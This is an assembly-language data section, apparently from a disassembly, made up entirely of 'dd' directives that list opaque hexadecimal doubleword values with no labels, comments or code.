dd 7887A545h, 63F36AEDh, 0AECAB2B4h, 0DFE29482h, 18D3D4C1h
dd 51860B74h, 8CC5C7EBh, 869BA580h, 7757D3h, 0FACFDDD7h
dd 64CC8D6Eh, 0A0CAB0A8h, 5900D677h, 3C734320h, 903677E6h
dd 254F7CA2h, 688E1FD7h, 54B3D16Fh, 1FB804ACh, 1F33E88Ch
dd 80C90DBFh, 0D13DEC54h, 4851F30Eh, 72E2D584h, 311402F0h
dd 0D67206D6h, 0A2893EFCh, 0B0AACA8Fh, 0F0C08B0h, 0DAB1DB01h
dd 9041ABFBh, 627F8Ch, 9301DC53h, 3A44723Ch, 0AA4AF845h
dd 9CAFDD13h, 0FBA09D00h, 6407C09h, 8143CD72h, 0C880584Eh
dd 48A8C0Bh, 0D66057F8h, 0D0297229h, 0D4078F3h, 8429CEh
dd 188A6615h, 2D6F5105h, 1F308F17h, 137D78C0h, 0C4A2B5ADh
dd 0C216603h, 0E46804B3h, 0D4B78314h, 2081C713h, 0E01D1AD4h
dd 0FCB1622Eh, 830C7C87h, 0DD872344h, 898B80BAh, 4E048E4h
dd 0FE99C313h, 69C8BF43h, 9B00018Fh, 0DD57AFEAh, 27904D2Ah
dd 0A800ACB2h, 0A37BBDE0h, 1AFF120Ch, 3AEB6855h, 825ED3E2h
dd 0E22EB30Ch, 0B12E6E8h, 0B6BE40Fh, 189E7C69h, 0DF1005BAh
dd 0CB685802h, 52487F60h, 1BD1EEBh, 0E8B4D153h, 44435DE0h
dd 4B55B302h, 54DECBD8h, 7D7AC89Eh, 36C6280Bh, 60CCC6A2h
dd 0D402A15Dh, 886030ABh, 0E2426251h, 38C51EA3h, 47147853h
dd 5900C88Ah, 86054F0Bh, 0E700BD35h, 4185DF96h, 0A0DB154Dh
dd 7E637A8h, 0B9E2B2D9h, 80D8BA62h, 35B86170h, 6600F7F9h
dd 0A9D76749h, 2CF30A92h, 6164790Fh, 65A843E3h, 0F2986034h
dd 7B78653Eh, 19DC9534h, 0C40650C2h, 0F7211C78h, 0E78480F8h
dd 0F4AFB568h, 0FF7F3D05h, 0B6873CD1h, 6ED920C0h, 9C0E7679h
dd 2ED7621Ch, 820DC72h, 0FD142797h, 187CA9h, 0D6070711h
dd 6A87844Ch, 0B8200D43h, 4733A69h, 121C65AAh, 47E8F4FAh
dd 42DD1650h, 71C00475h, 0E9B54F75h, 0B1BC0040h, 9888130Ah
dd 0B41DCA90h, 9E8338AAh, 0E042Bh, 70339131h, 0C9F5CDE3h
dd 3A12FCFAh, 0EC9706C0h, 801E8617h, 31E95962h, 0BAD50202h
dd 0AAA2CC4Ch, 655F44D8h, 0C097BC48h, 2E4103Fh, 0BF80F043h
dd 883A0D57h, 30714917h, 0FBC694D0h, 966A3AA4h, 9ED91D00h
dd 4F911484h, 2743D30Fh, 0A656C0E5h, 24D769DFh, 1848EB7h
dd 762E6ABh, 7D1AF072h, 84FC2E2Eh, 0E87CEE00h, 4D0ED084h
dd 4B01F47Fh, 2F188F51h, 0DC396Ah, 549A9126h, 0BA17BC9Dh
dd 0EB371040h, 3FAB0011h, 0DFF95B60h, 0F38A0431h, 0E294C804h
dd 8D53263Ch, 0CF2F003Eh, 89639D3Fh, 0C3D10112h, 1C825441h
dd 55E5D0B8h, 0AF6B0B05h, 5CB41140h, 0A624077h, 4124C04h
dd 450E8BACh, 0A6182073h, 0C700C5F7h, 99B3D464h, 0E8ADB291h
dd 0EB283B1Bh, 4AA1810h, 529778E2h, 0E0DB04D4h, 0C29D87C0h
dd 40FA91FBh, 85AC1A38h, 0B2DE23Bh, 0B81A7184h, 0D9D47130h
dd 6F51816h, 0CE7F0509h, 0F890A81Ah, 1417DC2Fh, 2ECA0934h
dd 0C4525FDBh, 97806212h, 18386C1Ah, 59490h, 0F4A66633h
dd 0ECD2F35Ch, 91180879h, 0C860772Bh, 0EA448607h, 90675ED2h
dd 0B22172BCh, 6429C200h, 0BA582BB3h, 0EF7B07D1h, 0B19D3EBBh
dd 0EED4C31Dh, 6D341440h, 0A286D496h, 21C971E9h, 0CF910FA4h
dd 0AD10901Dh, 0A0FA8813h, 3C54B8E6h, 8E2461A8h, 0CE8D8487h
dd 0B4F099CBh, 68AB03C8h, 41EC97BBh, 1D208013h, 0F08BF053h
dd 30658F84h, 14E9BAB3h, 4496E812h, 71676778h, 1618B38Bh
dd 0E7FB600Ch, 614DE126h, 9DBED0C3h, 1BCEF0FCh, 0B0C7254h
dd 0A1C1F600h, 0DC05222Ah, 4B23E64h, 284860F3h, 45E893DFh
dd 37A358C1h, 301ED77h, 81E45512h, 0F0F27CAAh, 3F004097h
dd 0F0CCCF99h, 30A3B2Eh, 8F0347E7h, 50094A82h, 5BE3883Dh
dd 4D075868h, 8F4C3E05h, 40419CC3h, 18B9541Dh, 100EFCh
dd 5E933950h, 677BD7Eh, 0A02B0C24h, 0E840782h, 7C44CEh
dd 3F144F90h, 0E2D604ACh, 0E9F49330h, 0B1B29705h, 63470ECCh
dd 0CF00EC95h, 1769963Ah, 0AC02DD46h, 749BE922h, 0A3030004h
dd 6B004087h, 0FD060CC4h, 95AF3B1Fh, 15AC4011h, 1E078E6h
dd 440264FBh, 87D765D1h, 79EC4279h, 181779D8h, 108D09D4h
dd 70105973h, 7B5B903Ch, 808FF848h, 21DDA99Eh, 0DA09AFC2h
dd 18B20641h, 982D5B90h, 0BA8A09D0h, 2449D99Eh, 21181665h
dd 0CE40D7A2h, 7949C8A9h, 0FAAD0117h, 1F31FD1h, 3220D997h
dd 11E81030h, 0B37A5FC4h, 301EB220h, 0E31C0C6Ch, 53C09985h
dd 0A5069A21h, 2536287Fh, 0AE901738h, 0B134D155h, 0ECDC2C7Ah
dd 0C7018C21h, 0D190DF36h, 7AF89242h, 0FD60042Dh, 0A17593E8h
dd 7FDDC094h, 0F823020h, 3D67F303h, 0D67537C0h, 263E09F7h
dd 7868264Fh, 59E61340h, 7765001Ch, 9DFC57Dh, 0C8047538h
dd 7170E71h, 0BA25A4ACh, 0BC95348Bh, 0D9802191h, 4311BE2Fh
dd 8A0005E6h, 286AA52h, 606472FFh, 3B6B890Ah, 0B2079653h
dd 57CFF9E5h, 8AD82E0h, 27F7B0E3h, 9C1785EEh, 60023408h
dd 5921D15Fh, 577DE8EEh, 388E7F2Ch, 64E584B0h, 71C9B9Ch
dd 0D5E10D5Ch, 58CEA8h, 0F10D54C0h, 24B343E1h, 89C578Eh
dd 0EC488F07h, 716465Ch, 91DADFEDh, 588B1323h, 0BA76CD48h
dd 0D76C1208h, 870B4CBh, 0FFA26008h, 1B467487h, 45CFF60Eh
dd 954FF820h, 0DB3106F0h, 5ECC688Bh, 2D9FAC50h, 0CB5A00C2h
dd 36EDFB1Ch, 1E0007BAh, 2922CA57h, 1E7A0444h, 4120E4h
dd 36C691B1h, 11974702h, 0A214A6D4h, 6498F13Ch, 3E041C0Ch
dd 62E93802h, 2AC4B4h, 2709C539h, 911F3604h, 0D5EDAB98h
dd 13883223h, 3C0B8476h, 3ACA0A0h, 39C7AF4h, 0E92404D6h
dd 0D4D442CBh, 0DF68CCACh, 4E76A35Ch, 0CFC0CCCh, 7221B71Fh
dd 11587758h, 128E38B7h, 78B06C2Bh, 9990220Ah, 0F5191810h
dd 0DE1D5E01h, 3A0D15D7h, 60168456h, 0D738251Bh, 0DC60D285h
dd 2D548677h, 28169FEBh, 869EA407h, 0A9504021h, 12ADD715h
dd 0F4CCD42Ah, 0FB07E038h, 6941B04Eh, 9D308FF0h, 41625A14h
dd 388E878h, 8280327Ch, 0F97FA90Bh, 181DD9D0h, 9BB9078Dh
dd 0E90FDF6Bh, 0EA2B5C07h, 4BCF80F4h, 366F2AEFh, 28060405h
dd 841F50CEh, 0BA045B10h, 0D48043D0h, 21C89390h, 942A6118h
dd 0F509B49h, 479C8134h, 14DEB280h, 8A074D7Dh, 0CF612976h
dd 408198A4h, 58A568EEh, 419D3884h, 0E67A97A3h, 4815CC72h
dd 162238B5h, 6A0B1898h, 0E86346CAh, 0DB7374h, 8D36F844h
dd 0D1255C0Dh, 0C84920B1h, 2736C830h, 781141CEh, 8DC1B886h
dd 80B1CF37h, 0CB7ACDF0h, 0BC817C19h, 87B8674h, 48495AA1h
dd 0DBC0D0B8h, 2DE35B3Ch, 1094A40Ch, 3CD9CC01h, 0A954427Eh
dd 198060DDh, 560E8CB1h, 9CE82AC6h, 0E27DD500h, 6C6E0235h
dd 0E1141EB4h, 0AB758286h, 0DC7CDD04h, 4CCA6310h, 90C16190h
dd 838C20E3h, 408215FDh, 43DE2C9Eh, 200C882Ah, 9D7FB925h
dd 801C9110h, 67CB9EF3h, 5060E88Bh, 1479DCB1h, 0A8EBCA97h
dd 4CC8AA00h, 398F5725h, 0F4BAEA09h, 201CDA95h, 6C9845CEh
dd 0E8FD5024h, 394113E4h, 38C80A90h, 0FECA0B20h, 0E38863E3h
dd 605BD9B2h, 2454C830h, 0C347340h, 7859339Ah, 59D02102h
dd 72FACBE5h, 2488B918h
dd 0C5A5082Ch, 909A33CEh, 778BD9C0h, 18138DD1h, 0D848893Fh
dd 4C18B962h, 9FEE3C08h, 0FDDB9401h, 309934CBh, 1000242Dh
dd 0D15B09ECh, 9C0254C6h, 6E2CC460h, 0E480C5E3h, 0AA706012h
dd 189600E9h, 88E54809h, 222E9886h, 0EB78B44Ah, 36CA807Ch
dd 8AA0D254h, 1C40B226h, 0F649D8A0h, 456320E0h, 2F8FF99Ch
dd 0C3F4C20h, 854F5CD3h, 9A249A71h, 63608138h, 5001862h
dd 0CB52EEC7h, 0FA02A917h, 0B7DB5D79h, 0A198ECBDh, 4C2C8FD0h
dd 0E2495209h, 8E7038D1h, 2E038665h, 4815A325h, 31C7C921h
dd 0C6704C29h, 996763C9h, 0F3760C06h, 4468DCE2h, 7C01718Dh
dd 39CA865Dh, 0D8E0F7A0h, 23530E94h, 401D2899h, 6F461589h
dd 0E030422Eh, 0BB2D8904h, 0DE4809E8h, 68522091h, 5C323D05h
dd 98AD8261h, 54EA7800h, 4F4B49C9h, 5C9F2F2Eh, 7F0EB8C1h
dd 44044C38h, 0B0EC9BE5h, 0E300DEFCh, 8FE73628h, 90A7D012h
dd 0AE3806B0h, 7825A491h, 7C6EF400h, 0DFD91B8Ah, 96FE021Ah
dd 0CA64A336h, 2001CDAh, 8BD0AB77h, 2D9BE709h, 1C48B0A0h
dd 78066FA7h, 0FB57E56Dh, 16017DFAh, 80ACAF62h, 4CA9094h
dd 7AC86515h, 13503E68h, 0E0C14318h, 93BAB94h, 0E4680660h
dd 0C037325h, 0D7D4288Eh, 16F4B08Ah, 781C00C2h, 0AD96F03h
dd 3C27B291h, 485C68A8h, 88C68286h, 0CF32800h, 17FF251Ch
dd 75D6F802h, 0EB9B00F6h, 34051A0h, 8B58F14Bh, 8C19B8ECh
dd 615DE100h, 0E241D244h, 0A0044D43h, 30550503h, 8A9831ACh
dd 0DAE67AB1h, 1398DB49h, 20906192h, 0F62D650h, 7CC4C21h
dd 0E4D1E7C9h, 3EA6069Eh, 0E546DF03h, 0AB70C785h, 6BE78A98h
dd 444295Ch, 0FB105F00h, 863C6DF1h, 0D5B602E6h, 443D3B5Ch
dd 8FC0E84Bh, 0E116AD0Ah, 0C00895Fh, 7A93B0D2h, 3FA901D4h
dd 0D1E8CBF2h, 606E2F9Fh, 81316400h, 72A401F6h, 69E1EB00h
dd 9F34AB9Dh, 0A2DD04E9h, 8223E27Fh, 0F8819CD8h, 2F14E6D6h
dd 34B29813h, 0A3001B2h, 0F43A0129h, 0DA78A606h, 31704C33h
dd 2AC3C00h, 77154D4Bh, 0E291122Bh, 403CF004h, 0DBA7280Fh
dd 463AB76h, 0DA60CBDCh, 0E3105A3Ch, 0CBB0A3D4h, 0D9043CD8h
dd 91F1E109h, 8E9E34FCh, 0C0538FA2h, 7B03758Ch, 9CB2EC1Fh
dd 8002035h, 0C437D53Bh, 0A84DFEEFh, 0BE2004E0h, 206713D0h
dd 1ED66438h, 0C46EB227h, 0EC37648h, 8118DAB5h, 8A527A80h
dd 0DD00DB28h, 0A7F191D7h, 3C1546CFh, 9C54E268h, 340B510Eh
dd 0CDC28C00h, 0B779738Dh, 0F09F0CA1h, 0AFDFF806h, 98F31D00h
dd 0F0CC775h, 3CC90F0Dh, 43C0D79Ch, 0D404B261h, 1195E1FEh
dd 3C305D94h, 440F5E30h, 6F81C8h, 65AE570Ch, 0ED00B1Ch
dd 2009432Fh, 0A9425850h, 49B2E908h, 42810C1Eh, 0B3F412E8h
dd 0B938253Eh, 3C686294h, 0D38F211Dh, 94A2056Eh, 0C0358F1h
dd 4DCF0223h, 0EAC42136h, 187C5842h, 0B3B70B40h, 9FE60E33h
dd 0F0A1B9F2h, 0C8904EEAh, 8E0C1B64h, 0D0301310h, 5E0B0047h
dd 48860312h, 0E61A7F05h, 409871AEh, 0F020E3F0h, 38656A62h
dd 74A80335h, 0B8237CDCh, 3CE40051h, 9D84E344h, 4860949Dh
dd 0E7014CC9h, 165A3F04h, 0D5FFD8BDh, 996FB200h, 3B5B0C53h
dd 2851741h, 10582FE5h, 0A5C0658Fh, 0B0B30BD4h, 684B884Eh
dd 0F1CC51A3h, 25C1816h, 0A6782C96h, 68766E97h, 0E449140Bh
dd 445320B0h, 0BD91A0B6h, 0C840CB4Fh, 2D95C01Dh, 0E9EC5161h
dd 53C5124Ch, 41653A34h, 0F5881D3Fh, 0FABCB04Ch, 0A5E70B3Ah
dd 40F4CF1Dh, 0B2460F02h, 7CE05458h, 1000808Ah, 71BA1C05h
dd 74F8B449h, 0AA000146h, 6A38F528h, 52C7DB6h, 0E41180C0h
dd 9702DB02h, 0B050F182h, 0D4953Fh, 236E13FCh, 0F1041488h
dd 2B2BAC4Dh, 16237Ch, 7638F8F3h, 0C4055D36h, 9CCBBE49h
dd 0C8AAE440h, 90C0DC3Ch, 309F2DF4h, 0D44C04A5h, 0BCFCA854h
dd 2E018C1Dh, 0DAB3150Bh, 48B98237h, 49E33F96h, 6090CCF0h
dd 1500D7F1h, 8881D5D8h, 1EA67601h, 5FDC7C25h, 904D53D1h
dd 3E7303E8h, 4CC8A907h, 77406031h, 4EC76164h, 0FD4CC02Bh
dd 14098B7Ch, 1F4EAEFFh, 82191144h, 81E615ABh, 3C5BD178h
dd 0E30421BCh, 0ED6C3043h, 1B2150FCh, 467CBC9Eh, 1E1D0013h
dd 29A9A0F6h, 11F3128Ah, 82A89504h, 0C4AC8F40h, 918163F0h
dd 5F354180h, 4651FC7Eh, 811C0B76h, 1C2CD0F8h, 84250808h
dd 0A0E716CAh, 4B06AA34h, 61AB06D0h, 12900310h, 8B410229h
dd 0DF655AB1h, 0AC2831F0h, 8EFC12BFh, 57BA0284h, 1818908Fh
dd 0C7464AC7h, 796FB2B0h, 16596879h, 60B07E18h, 0BE41F12h
dd 0C7A09CA7h, 66790C56h, 19E30F01h, 12309A42h, 37A3FC50h
dd 6B60BA43h, 4CD05C49h, 91707F50h, 9940F537h, 6BE0580h
dd 4B825E5Dh, 7C500F90h, 14B28A16h, 4C88050h, 8CC66162h
dd 1B753240h, 1891B8E4h, 32C028A4h, 2640BF4Dh, 9F9811E1h
dd 0F6542430h, 0FB8A1A09h, 50C11C5h, 0B26C166Bh, 3097F2E0h
dd 0BC004ABDh, 43FA29E9h, 0F6340Ah, 0CA5E1646h, 49446153h
dd 0C6304148h, 27078F5h, 0ABD43113h, 58FED83Ah, 0D78A804Eh
dd 168207h, 0FD494D5Dh, 68C2C819h, 0AB469E09h, 89546B41h
dd 96EF31Fh, 0F8DCAC64h, 0E8A31A60h, 0E37A0452h, 0E86426CBh
dd 84445278h, 0D0203467h, 449E5716h, 0C9287028h, 2A30D8C0h
dd 7B68718Ah, 0BAE2004Eh, 0F4CEB832h, 0BF0039B6h, 3B879724h
dd 9A58CA3Ah, 0D0F49990h, 2E860357h, 9349907h, 1C00602Fh
dd 9FC0130Ch, 0DB694184h, 0DC059100h, 0AC8D43E2h, 0CD4B0455h
dd 903F0641h, 0C53914C0h, 0B8D2D05Eh, 0F1F079CFh, 0F761C1Eh
dd 268101CCh, 3E30C7h, 0B42AE879h, 0C1956180h, 987D0361h
dd 6C872A8Ah, 6CF0D574h, 9E74BE2Ah, 0B5C4C16Ah, 0F0A0D156h
dd 532EE9DFh, 8515FC4Ch, 9E4D05A0h, 0FCD01314h, 45D0601Fh
dd 0ACB83C71h, 24336h, 182A9F9Dh, 5F4F8FEBh, 0D864D062h
dd 0CA00DD22h, 0DE81B687h, 1365268h, 0C45F092h, 0AE60CBD3h
dd 6DC3849h, 2C9BE8C4h, 3498C802h, 8BFD8941h, 7FE2EC00h
dd 40919A5Ah, 12135F97h, 0A4CF7DBAh, 0E45C1760h, 93E51744h
dd 32A480C8h, 55165428h, 4E243C5h, 27D5AA03h, 0D2B01EC0h
dd 62272D2Ch, 0DCA8E216h, 1C465E6Ch, 0CE2BC800h, 0AC4FA961h
dd 6A36B812h, 0B2EC2880h, 9001B55Ch, 79CBCDE2h, 62F9008Ch
dd 749C2A52h, 78BA0735h, 0DE0A77C6h, 38A1CA89h, 0D4ADD9FBh
dd 0DF0C6CA3h, 0D8507D43h, 1C1E0D89h, 2B29B630h, 9710B02Fh
dd 0E663C064h, 1FEFF2AAh, 0C429D976h, 4260CA39h, 0C04E6F6Eh
dd 4DB93Eh, 42D1B356h, 39BCC87Ch, 0E3606100h, 8EAA5D6Eh
dd 963A0249h, 0E554D5F9h, 0C4A5DE85h, 34E21230h, 0F46AAADCh
dd 484F5500h, 41E6104Ch, 0EB12FFF2h, 0DCB023E2h, 0C9885FB3h
dd 0AE74F06Ch, 27C9E700h, 9D48BC9Ah, 6400BFC8h, 3E26D352h
dd 6B6C9101h, 61CBC26Fh, 0D7973980h, 71FC8B7Dh, 0B1BB9F00h
dd 99578F95h, 9D631850h, 0BAEB2854h, 3009985Ah, 20168EE4h
dd 0A16336D0h, 8698FFh, 59C04407h, 51C93DFh, 4C0F78D2h
dd 0B0878DB7h, 21A24423h, 77BC30h, 2AECF81Fh, 380AEBB9h
dd 8E89CEh, 8805208Ah, 27109055h, 1C235678h, 6D88734Dh
dd 13004514h, 48AE97E9h, 538CB3h, 7CA6AC43h, 6DBA8F71h
dd 851EA63h, 2D0DE7Ah, 1EF624AAh, 40C626B9h, 0BE080B5h
dd 41071FFDh, 7F77F0AEh, 34205E4Bh, 0AB643090h, 8F0AB08Ch
dd 0C35F5E4Eh, 0DDC18ECCh
dd 0D4417BBCh, 7F780B2Ch, 90D8303Ah, 434A3320h, 0AB58B05Eh
dd 9FD72859h, 4BB2DC03h, 546985FAh, 9E518CEh, 7CE3453Ch
dd 0CA9330C5h, 0CE51A000h, 0E6CD1766h, 2EE34A99h, 9C2348h
dd 11DD30B8h, 3EE201D3h, 0C4D98A27h, 0BA370094h, 0F17AEB3h
dd 3E002502h, 5A0C7F26h, 1252ED4Ah, 729E272h, 7436C6A2h
dd 8810A86Ah, 85BA5A4h, 0E1BB70h, 9C1960F5h, 0EFA19EF3h
dd 0E7D7650Bh, 6668C88Eh, 8219540h, 46331C6h, 0C5F52C81h
dd 216CDC2Ah, 0CBE610A1h, 0A3E5E109h, 585024h, 1B8FEA32h
dd 1412E28Ch, 1C88804Ah, 0B4740DFh, 97E5704h, 70AC11D2h
dd 0CD0BF020h, 0C455CE43h, 0E37644C8h, 82E70418h, 942AA29h
dd 946EC49Dh, 8E57C1Ah, 0C0671BE4h, 8F4F691Fh, 0CA619E04h
dd 0E8B28B06h, 7400492Dh, 1C6573D1h, 3C983775h, 5A86DF20h
dd 61048C8Dh, 0CCD13C16h, 42F86CD0h, 90ACAAC7h, 2D6059Ch
dd 5EAB3E9Bh, 90F2EAF0h, 0E5583102h, 7044CD48h, 75432FD8h
dd 2DE39420h, 0D71C9BDEh, 0B2406104h, 0E175BACDh, 7C5C48DAh
dd 38C33E8h, 552DF7C2h, 2EE07512h, 1576387h, 90B3A3A4h
dd 1C46F5Fh, 31AD5E52h, 6B93F4D9h, 4B87C84h, 0C8BC1EDh
dd 0CB41D24h, 13BCC063h, 7195696h, 0E0F82F95h, 0F86DC51Eh
dd 0E8D4047Fh, 0F9025CA3h, 74BD0034h, 525165E3h, 137C7405h
dd 0E303A83Dh, 3094B244h, 0E301DFA1h, 6448D120h, 0E83343D7h
dd 0B6301BF2h, 33EC00D8h, 235F836Dh, 795F3BE9h, 9A97F844h
dd 0B0047895h, 3D09B018h, 465E707Ch, 1BC41818h, 80179060h
dd 230137A3h, 656D7215h, 43FD8FFDh, 0A423F871h, 0C0359B1h
dd 1F28E8C4h, 28A2627h, 1C2B387Bh, 87B4A6D7h, 0D0685AD9h
dd 8AB58580h, 8362AC00h, 0AF99C695h, 0A79D01D6h, 0E490307Dh
dd 0F0223E89h, 0E9522068h, 0D0FD0253h, 1D9746A5h, 22F8844h
dd 734F4E60h, 0E7F4E5h, 0FE082D57h, 6483188Dh, 0CD958490h
dd 603344C8h, 5805EAC8h, 0D0068A91h, 586B2FFEh, 0AF60E250h
dd 5E614940h, 32A8D1CDh, 0C7CFDD8Ah, 8948E805h, 1448A4E8h
dd 980BBA7Dh, 8741D72h, 0AA7FC88h, 54E389h, 0AFB1270Ch
dd 10C05146h, 904A8FACh, 0F0405ABAh, 0CF18E2D4h, 0BE3168CCh
dd 617276h, 0C1BB2F6Dh, 46A19C8Bh, 0DA58E525h, 278B0C8h
dd 3E2B8621h, 787A9564h, 53E038E9h, 230E120h, 6474EF0Ch
dd 1F63B600h, 165F4D91h, 0E63E022Eh, 62CF309Eh, 32A8225Dh
dd 48140102h, 0DC9E2A80h, 4261E180h, 0FC00F7EFh, 8E845B76h
dd 966C8F10h, 0BED18944h, 0F4A85Eh, 0DDC1B5F9h, 73249B78h
dd 38C497h, 7C2DEE44h, 0BDCBF0E5h, 0F6F0AAh, 7B0F0510h
dd 0ED921F20h, 447C201Ch, 3401ADABh, 38953E82h, 0B031CCE3h
dd 0ED807078h, 694A23F1h, 0F134471h, 0BD0F0B37h, 9E895F40h
dd 6EA09103h, 0B0E06ACCh, 7C0C0BFCh, 2C04E118h, 0C052EA30h
dd 1450946Fh, 260091E8h, 15D4058Ch, 0C434BCCEh, 88888A07h
dd 9C749047h, 5AE58008h, 0A581F06h, 400480A3h, 231CA4Fh
dd 483FAA01h, 8CF038CCh, 4E2A5918h, 32A88814h, 10E3F140h
dd 2FFEF49Bh, 1354E151h, 74B33A00h, 88D96F0Ah, 574058ECh
dd 904994E9h, 0D08653D4h, 50625C10h, 829D3644h, 0B7133CE8h
dd 0DDAC8094h, 42581E91h, 91CC9795h, 41D58001h, 19267AAh
dd 5DB5193Ah, 6CC964ADh, 0F1918144h, 74680E2Fh, 54BEFB00h
dd 0A53234ACh, 6777C617h, 9C23500Ah, 610F688Ch, 3C6A03F4h
dd 0FBA46CE6h, 0FCC1B6E8h, 0E911A814h, 0C80D26A8h, 5FE04680h
dd 0B7F697A2h, 87FA7402h, 0BBB1CCA4h, 1C23C03Eh, 9FF82C00h
dd 0FDA3E913h, 38256468h, 0ED950C72h, 0E9D4C0D8h, 85B7B1C0h
dd 6CB80BC8h, 1F6A8200h, 43BCCA08h, 0EC93E316h, 0BE63C0E0h
dd 0DAB284B8h, 70F4B9FFh, 0E400CB5Bh, 8056BD0Eh, 93E60BC4h
dd 287E11B8h, 461139Ch, 8BC3FFh, 0F4292C3Bh, 319C1559h
dd 0C91FD488h, 1230046h, 0B43F55F0h, 2700B95Ch, 0F28451D4h
dd 0DF9D30B8h, 6A271A12h, 0C7C934ACh, 465EB47Ch, 49320B1Dh
dd 590803A8h, 0A018C8FAh, 8462241Bh, 113D0014h, 0CEDC04ABh
dd 0C0A3BC02h, 57C8864Dh, 3090848Bh, 682D12ECh, 898CFB8Ch
dd 0C02066CCh, 7ADE6B15h, 3674C30Fh, 4B01E08Ah, 5043E2EAh
dd 12CAC012h, 0A3621FFEh, 301DB2D4h, 4502A6F8h, 0DA91C6FAh
dd 0F94FE8Bh, 5F0C88DBh, 835A6189h, 0EB95EC5Fh, 0CD127CE0h
dd 54CC5243h, 8029D6EDh, 0F740AB3Ch, 1B989101h, 1E529705h
dd 2CC027Ah, 0B0F6AF2Eh, 40F4E500h, 9212977Ah, 52CBE14h
dd 0F0C5FD93h, 6B74C6D4h, 4FE71F88h, 0E0688849h, 402ACC89h
dd 0DCC7F3F4h, 0FE07A105h, 3EC406A6h, 3D54DB31h, 38CD02Fh
dd 234B9B1Fh, 0A600FCB6h, 0D785290Dh, 1B021847h, 5175A90Ch
dd 1B8DA2Ah, 0E09570ACh, 606252A6h, 0D092FFDh, 8F48857Ch
dd 563A88Ch, 8813BAD5h, 80E52ACCh, 8AD0C241h, 16855EBh
dd 400615E5h, 258830BAh, 0D444CEE8h, 0F189D300h, 99ED69B7h
dd 602C0010h, 444807D5h, 2701D84Bh, 652B352Ah, 206CB4B7h
dd 0A5051412h, 93DAE800h, 1A686A9Dh, 901755B8h, 50801691h
dd 62E58EC8h, 0C20020B7h, 31B996Eh, 247F6B18h, 2EE233F5h
dd 0C8864844h, 0BA0FD000h, 2BC0B87Ch, 277F09B5h, 0B4508E62h
dd 55E54709h, 0CB4004E0h, 0C610C8E2h, 5133C945h, 1812F194h
dd 61C64C8Fh, 139CFC74h, 49ECA3E6h, 3C5E3E50h, 1F1646D6h
dd 3680A713h, 0E972B0F2h, 0DF740024h, 83C81991h, 0F707C509h
dd 0A3E8B6DDh, 8CFCAF94h, 465B3709h, 1C97C854h, 0EDE77490h
dd 0C68B80BEh, 31B97231h, 2E3A85D4h, 2361058h, 6F6A7BC0h
dd 50028106h, 2337AC97h, 0CB08E8B9h, 89AA405Eh, 594D8A30h
dd 0B137D7BDh, 42320530h, 5BECA2D1h, 4370082Fh, 0D96E008Bh
dd 0CA5EE22Fh, 55A1020Ch, 1043E6ABh, 0CE80984Bh, 40040DD1h
dd 7FF10814h, 0E702D801h, 8027ADAh, 0A9F43076h, 0A044ECh
dd 94EB3A2Bh, 5FB94D7Bh, 0BB06EA1Fh, 170D3F45h, 122A80C1h
dd 30024192h, 0D0BB0C50h, 8ED404B7h, 18A2A0F6h, 4C4F6430h
dd 0A22C0F7h, 35B15E01h, 270C7DD0h, 0AAD9B0EBh, 54730734h
dd 146802E0h, 0A478B42Ah, 60124C01h, 30B291FFh, 0D30FA838h
dd 4868FCDh, 800A951h, 87FED647h, 0E6103Dh, 5348F8FCh
dd 911C6DABh, 7A04C275h, 0CD5CD901h, 0F90432EEh, 6B1248DEh
dd 0B6B248B0h, 0C7A5EE64h, 9EB05627h, 1C3B2968h, 0D8A07B16h
dd 5CD44964h, 0ECC2772Dh, 49A4A15Dh, 0EC380EEFh, 0FC5174D4h
dd 5208C03Eh, 0FF291F04h, 0A8A738EAh, 580BD0D0h, 961CDE8Dh
dd 0F40A3C6h, 0A904B277h, 1A4450BEh, 0F902CBE5h, 0B38E1589h
dd 0C450F30Bh, 4CA0E1D7h, 72C95B4Dh, 257F3DA4h, 0C810E40h
dd 204B8C6Ah, 0A837EA08h, 3E273084h, 5CC20B1Fh, 0B80AD0F0h
dd 0A860293Fh, 8A947021h, 0E1E83090h, 1366F403h, 0C09C9D51h
dd 8C37054Ch, 120DA8A8h, 0B04BFB5Fh, 54CC10CDh, 2C270077h
dd 472A1A55h, 8E2EE09Dh, 4008C0ACh, 0E8521369h, 45353934h
dd 6AFFA4EBh, 0DD37070Ch, 56E0B191h, 0F658E97h, 0CDD79953h
dd 0AD50D260h, 473A0924h, 0C20B80C0h, 0B756F87Fh, 20906742h
dd 5841F065h, 0C071D05h, 0FB91AAEFh, 0D40CFD7h, 0C01134D6h
dd 0FC4D6A71h, 0CD004E63h, 53F67B02h, 72D7CDFh, 11C80A74h
dd 91D4704Ch, 5102E30Eh, 3B907345h, 808E167h, 0B280202Fh
dd 0DC8293BCh, 0DDB84050h
dd 8558F316h, 12D8005Ch, 0F19D5A0h, 0FE5200ACh, 8DFD54AAh
dd 0FB2DCA3Ch, 5D8CD9D3h, 73714783h, 0AFC9836Dh, 755F2141h
dd 7CD432E0h, 4ABA3174h, 8CCCCF10h, 3042A720h, 185B63F2h
dd 2819B70Dh, 4B20C6AFh, 683C098Ch, 0FA635828h, 1826D020h
dd 18A18B30h, 10C4625Fh, 0F068A72h, 663138C7h, 32081801h
dd 0BDB46401h, 103F3140h, 0FF03F81Dh, 36F26118h, 0C6BFAE08h
dd 404F1D18h, 6109F933h, 0EE1818C2h, 2D982843h, 0D57E18C4h
dd 1013EC06h, 209C4631h, 40031070h, 9BA02918h, 0C6E8BF18h
dd 103D1730h, 31E9F320h, 4C281FC3h, 67CE0166h, 34090888h
dd 3AD19C18h, 0B6C8040h, 0F92D10C6h, 0F4973140h, 1EAEB08h
dd 20950339h, 9619B8A2h, 9550A111h, 19D46208h, 4130EBE6h
dd 0D8B6E057h, 0F58B3110h, 3FFC608h, 4B6910A0h, 0A8FC2AF3h
dd 96911D63h, 2E1018C5h, 38E96049h, 5A9F18C6h, 0D1F26510h
dd 0C6944634h, 683130AEh, 1D8E08D2h, 11DA1898h, 30C690ABh
dd 6510FB18h, 462909F0h, 302AC690h, 0D291C463h, 2B18313Ah
dd 8CB58C71h, 1052E118h, 856669Bh, 2731599Ch, 22551029h
dd 0B379088Ch, 9E66F830h, 3171AF20h, 0E08F67Fh, 0B18888Fh
dd 1C5A0CC0h, 61C47838h, 490448D0h, 0C06C0A44h, 10B1C99Fh
dd 0A6075BC8h, 5A490815h, 0F2331008h, 21B11F32h, 64609CA2h
dd 7F072603h, 0BF1A4008h, 650FE0A8h, 8C8208C6h, 90CF4930h
dd 8ED5F19h, 9442425h, 0DE20C092h, 0BC705445h, 0C4605456h
